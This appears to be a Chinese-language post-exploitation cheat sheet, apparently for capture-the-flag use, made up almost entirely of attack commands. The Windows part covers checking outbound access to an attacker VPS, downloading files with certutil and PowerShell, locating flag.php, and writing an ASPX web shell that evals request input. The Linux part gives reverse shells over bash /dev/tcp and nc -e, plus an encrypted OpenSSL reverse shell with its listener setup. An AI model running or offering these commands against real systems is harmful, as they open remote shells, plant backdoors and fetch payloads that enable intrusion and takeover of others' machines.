win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#探测目标是否出网
powershell Invoke-WebRequest -Uri http://vps/

#文件下载
certutil.exe -urlcache -split -f http://vps/a.txt D:\a.txt
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://vps/a.txt', 'D:\a.txt')"

#命令执行查找web目录
dir /s/a-d/b D:\*flag.php
where /r D:\ flag.php
for /r D:\ %i in (*flag.php) do @echo %i
for /r D:\ %i in (*flag.php) do @echo %i>%i.txt

#写shell
echo ^<%@ Page Language="Jscript"%^> ^<% eval(Request.Item["ant"],"unsafe"); %^>> C:\inetpub\wwwroot\a.aspx

Linux

1
2
3
4
5
6
7
8
#反弹shell
bash -i >& /dev/tcp/8.8.8.8/1234 0>&1
nc -e /bin/bash 8.8.8.8 1234

#利用openssl
1.VPS生成自签名证书:openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2.VPS建立监听:openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
3.目标执行命令:mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 8.8.8.8:1234 > /tmp/s; rm /tmp/s